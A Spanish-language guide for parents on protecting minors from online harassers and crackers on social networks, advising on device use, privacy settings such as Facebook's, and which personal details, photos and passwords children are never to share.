El objetivo más vulnerable para crackers (hackers con métodos y/o fines ilegales) y acosadores son aquellas personas con menos formación y experiencia. Los menores suelen coincidir con ese perfil, así que hay que evitar al máximo que cometan errores y acaben sufriendo acoso en redes sociales. Para ello:

• Los menores no deben utilizar nunca libremente los dispositivos de sus padres, salvo que se haya habilitado el “Modo niños” o similar.
• Debemos explicar al menor la diferencia entre un ámbito privado y uno público, y dejarles claro que la mayoría de la información que se comparte en una red social es por defecto pública.
• Debemos adelantarnos y ser nosotros mismos los que les ayudemos a configurar las opciones de privacidad de sus redes sociales, o explicarles, si tienen edad suficiente, cómo deben hacerlo y por qué.

Opciones de privacidad en Facebook: Es importante restringir aquí cómo podrán contactar con los menores desde esta red.

• Se les debe dejar claro qué información personal en ningún momento deben compartir en redes sociales con alguien cuya identidad no esté clara, y por supuesto nunca en un mensaje público: el teléfono, la dirección de casa, la localización, fotografías del hogar, o comunicar que se va a estar un periodo de tiempo definido ausente del domicilio (por vacaciones, por ejemplo).
• Se les debe dejar claro qué información no debe compartirse nunca con nadie, incluso aunque sean amigos o personas conocidas: fotografías comprometidas de ellos mismos u otras personas, contraseñas de servicios o aplicaciones o información bancaria (si bien esta última es raramente accesible a los menores).

Concluiremos recordando que el hecho de que se adopten todas estas medidas no garantiza la seguridad de menor, solo la favorecen. Cuando un menor tiene un dispositivo con acceso a internet, su situación debe considerarse por defecto vulnerable a convertirse en víctima de adultos u otros menores malintencionados. Debemos estar alerta siempre ante la posibilidad de que sufran acoso en redes sociales y otros ámbitos de la red.